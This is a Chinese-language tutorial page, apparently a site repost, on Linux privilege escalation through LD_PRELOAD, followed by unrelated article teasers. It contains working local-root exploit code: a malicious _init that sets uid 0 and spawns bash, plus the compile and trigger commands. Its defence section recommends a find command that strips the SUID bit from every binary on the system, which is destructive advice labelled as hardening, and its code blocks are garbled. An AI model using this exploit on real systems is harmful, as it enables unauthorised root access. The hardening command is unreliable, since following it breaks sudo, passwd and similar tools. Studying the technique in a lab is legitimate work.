Linux Privilege Escalation: LD_PRELOAD

聲明:本文所有操作需在授權環境下進行,嚴禁非法使用!


0x01 什么是 LD_PRELOAD?

LD_PRELOAD 是 Linux 系統中一個特殊的環境變量,它允許用戶在程序啟動時優先加載自定義的動態鏈接庫(.so 文件),覆蓋系統默認的庫函數。這種機制原本用于調試或性能優化,但配置不當可能引發安全問題。


0x02 漏洞原理

關鍵條件

  1. 目標程序具有 SUID 權限 SUID(Set User ID)權限的程序在運行時,會以文件所有者的身份執行(例如 root)。 查看 SUID 程序:

  1. ?find / -perm -4000 2>/dev/null
  2. 程序未屏蔽 LD_PRELOAD 如果高權限程序未過濾此環境變量,攻擊者可以劫持其加載的庫函數。


0x03 攻擊演示(實驗環境)

步驟 1:編寫惡意動態庫

創建 evil.c 文件,內容如下:

?#include <stdio.h>#include <stdlib.h>#include <unistd.h>?// 劫持程序初始化時的函數void _init() {setuid(0); ? ? ? ?  // 提權到 rootsetgid(0);system("/bin/bash");// 啟動一個 shell}

步驟 2:編譯為共享庫

?gcc -shared -fPIC -nostartfiles -o evil.so evil.c

步驟 3:觸發漏洞

假設發現 /usr/bin/vulnerable_program 存在漏洞:

?export LD_PRELOAD=/path/to/evil.so  # 設置環境變量/usr/bin/vulnerable_program ? ? ?  # 運行 SUID 程序

若成功,你將獲得一個 root 權限的 bash shell


0x04 為什么現代系統難以復現?

  1. 安全機制升級 主流 Linux 發行版(如 Ubuntu 20.04+、CentOS 8+)默認在 SUID 程序中忽略 LD_PRELOAD 等敏感環境變量。

  2. 配置防護 通過 sudoenv_reset 選項或 SELinux/AppArmor 可進一步限制環境變量。


0x05 防御措施

給系統管理員的建議

  1. 定期更新系統

?sudo apt update && sudo apt upgrade -y ?# Debian/Ubuntusudo yum update -y ? ? ? ? ? ? ? ? ? ? # CentOS/RHEL

限制 SUID 程序

?bash# 查找并刪除不必要的 SUID 權限find / -perm -4000 -exec chmod u-s {} \;

啟用安全模塊 使用 SELinux 或 AppArmor 限制程序行為:

  1. ?sudo apt install apparmor-utils ?# Ubuntusudo aa-enforce /path/to/profile

0x06 總結

  • 漏洞本質:利用環境變量劫持高權限程序的動態庫加載過程。

  • 現實意義:更多用于理解 Linux 權限機制和歷史漏洞,實際滲透中需結合其他漏洞使用。

  • 道德警示:此技術僅限授權測試或學習使用,非法入侵需承擔法律責任!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/77626.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/77626.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/77626.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

程序性能(1)嵌入式基準測試工具

程序性能(1)嵌入式基準測試工具 Author&#xff1a;Once Day date: 2025年4月19日 漫漫長路&#xff0c;才剛剛開始… 全系列文檔查看&#xff1a;Perf性能分析_Once-Day的博客-CSDN博客 參考文檔: CPU Benchmark – MCU Benchmark – CoreMark – EEMBC Embedded Micropr…

ArrayList的subList的數據仍是集合

ArrayList的subList結果不可強轉成ArrayList&#xff0c;否則會拋出 ClassCastException異常 ? 級別&#xff1a; 【CRITICAL】 ? 規約類型&#xff1a;BUG ? 最壞影響&#xff1a; 程序錯誤&#xff0c;拋出異常 說明&#xff1a;subList 返回的是ArrayList的內部類SubL…

Notepad++中將文檔格式從Windows(CR LF)轉換為Unix(LF)

在Windows中用記事本寫了一個.sh的Linux運行腳本&#xff0c;是無法直接在Linux中執行&#xff0c;需要首先把文本編碼格式轉換為Unix的&#xff0c;特別是換行符這些&#xff0c;轉換步驟如下&#xff1a; 1、打開文檔 在Notepad中打開需要轉換的文件。 2、進入文檔格式轉換…

使用Ingress發布應用程序

使用Ingress發布應用程序 文章目錄 使用Ingress發布應用程序[toc]一、什么是Ingress二、定義Ingress三、什么是Ingress控制器四、部署nginx Ingress控制器1.了解nginx Ingress控制器的部署方式2.安裝nginx Ingress控制器3.本地實際測試 五、使用Ingress對外發布應用程序1.使用D…

【網絡編程】TCP數據流套接字編程

目錄 一. TCP API 二. TCP回顯服務器-客戶端 1. 服務器 2. 客戶端 3. 服務端-客戶端工作流程 4. 服務器優化 TCP數據流套接字編程是一種基于有連接協議的網絡通信方式 一. TCP API 在TCP編程中&#xff0c;主要使用兩個核心類ServerSocket 和 Socket ServerSocket Ser…

力扣刷題Day 21:兩數之和(1)

1.題目描述 2.思路 暴力解法雖然不超時間限制&#xff0c;但是題解實在太妙了&#xff0c;哈希大法好&#xff01; 3.代碼&#xff08;Python3&#xff09; class Solution:def twoSum(self, nums: List[int], target: int) -> List[int]:hash_table dict()for i, num i…

關于UE5的抗鋸齒和TAA

關于閃爍和不穩定現象的詳細解釋 當您關閉抗鋸齒技術時&#xff0c;場景中會出現嚴重的閃爍和不穩定現象&#xff0c;尤其在有細節紋理和小物體的場景中。這種現象的技術原因如下&#xff1a; 像素采樣問題 在3D渲染中&#xff0c;每個像素只能表示一個顏色值&#xff0c;但…

【MySQL】MySQL建立索引不知道注意什么?

基本原則&#xff1a; 1.選擇性原則&#xff1a; 選擇高選擇性的列建立索引(該列有大量不同的值) 2.適度原則&#xff1a;不是越多越好&#xff0c;每個索引都會增加寫入開銷 列選擇注意事項&#xff1a; 1.常用查詢條件列&#xff1a;WHERE字句中頻繁使用的列 2.連接操作列…

Vue3 + TypeScript中provide和inject的用法示例

基礎寫法&#xff08;類型安全&#xff09; typescript // parent.component.vue import { provide, ref } from vue import type { InjectionKey } from vue// 1. 定義類型化的 InjectionKey const COUNTER_KEY Symbol() as InjectionKey<number> const USER_KEY Sy…

樹莓派超全系列教程文檔--(33)樹莓派啟動選項

樹莓派啟動選項 啟動選項start_file &#xff0c;fixup_filecmdlinekernelarm_64bitramfsfileramfsaddrinitramfsauto_initramfsdisable_poe_fandisable_splashenable_uartforce_eeprom_reados_prefixotg_mode &#xff08;僅限Raspberry Pi 4&#xff09;overlay_prefix配置屬…

java怎么找bug?Arthas原理與實戰指南

Arthas原理與實戰指南 1. Arthas簡介 Arthas是阿里巴巴開源的Java診斷工具&#xff0c;其名字取自《魔獸世界》的人物阿爾薩斯。它面向線上問題定位&#xff0c;被廣泛應用于性能分析、定位問題、安全審計等場景。Arthas的核心價值在于它能夠在不修改應用代碼、不重啟Java進程…

Python自學第1天:變量,打印,類型轉化

突然想學Python了。經過Deepseek的推薦&#xff0c;下載了一個Python3.12安裝。安裝過程請自行搜索。 乖乖從最基礎的學起來&#xff0c;廢話不說了&#xff0c;上鏈接&#xff0c;呃&#xff0c;打錯了&#xff0c;上知識點。 變量的定義 # 定義一個整數類型的變量 age 10#…

基于STM32中斷講解

基于STM32中斷講解 一、NVIC講解 簡介&#xff1a;當一個中斷請求到達時&#xff0c;NVIC會確定其優先級并決定是否應該中斷當前執行的程序&#xff0c;以便及時響應和處理該中斷請求。這種設計有助于提高系統的響應速度和可靠性&#xff0c;特別是在需要處理大量中斷請求的實…

游戲盾和高防ip有什么區別

游戲盾和高防IP都是針對網絡攻擊的防護方案&#xff0c;但??核心目標、技術側重點和應用場景存在顯著差異??。以下是兩者的詳細對比分析&#xff1a; ??一、核心定位與目標?? ??維度????高防IP????游戲盾????核心目標??抵御大流量網絡攻擊&#xff08…

Spark-SQL3

Spark-SQL 一.Spark-SQL核心編程&#xff08;四&#xff09; 1.數據加載與保存&#xff1a; 1&#xff09;通用方式&#xff1a; SparkSQL 提供了通用的保存數據和數據加載的方式。這里的通用指的是使用相同的API&#xff0c;根據不同的參數讀取和保存不同格式的數據&#…

DeepSeek與Napkin:信息可視化領域的創新利器

摘要 在數字化信息爆炸的時代&#xff0c;如何高效地組織思路并將其轉化為直觀、清晰的可視化圖表&#xff0c;成為眾多領域面臨的關鍵問題。本文深入剖析了DeepSeek與Napkin這兩款工具&#xff0c;詳細探討它們在信息處理與可視化過程中的功能特性、協同工作機制、應用場景、…

conda 創建、激活、退出、刪除環境命令

參考博客&#xff1a;Anaconda創建環境、刪除環境、激活環境、退出環境 使用起來覺得有些不方便可以改進&#xff0c;故寫此文。 1. 創建環境 使用 -y 跳過確認 conda create -n 你的環境名 -y 也可以直接選擇特定版本 python 安裝&#xff0c;以 3.10 為例&#xff1a; co…

嵌入式芯片中的 低功耗模式 內容細講

電源域與運行級別概述 電源域&#xff08;Power Domain&#xff09; 核心域&#xff08;Core Domain&#xff09;&#xff1a;包括 CPU 核心和關鍵架構模塊&#xff08;如 NVIC、CPU 內核寄存器&#xff09;。 外設域&#xff08;Peripheral Domain&#xff09;&#xff1a;…

Java中常見的鎖synchronized、ReentrantLock、ReentrantReadWriteLock、StampedLock

在Java中&#xff0c;鎖是實現多線程同步的核心機制。不同的鎖適用于不同的場景&#xff0c;理解其實現原理和使用方法對優化性能和避免并發問題至關重要。 一、隱式鎖&#xff1a;synchronized 關鍵字 實現原理 基于對象監視器&#xff08;Monitor&#xff09;&#xff1a;每…

@JsonView + 單一 DTO:如何實現多場景 JSON 字段動態渲染

JsonView 單一 DTO&#xff1a;如何實現多場景 JSON 字段動態渲染 JsonView 單一 DTO&#xff1a;如何實現多場景 JSON 字段動態渲染1、JsonView 注解產生的背景2、為了滿足不同場景下返回對應的屬性的做法有哪些&#xff1f;2.1 最快速的實現則是針對不同場景新建不同的 DTO…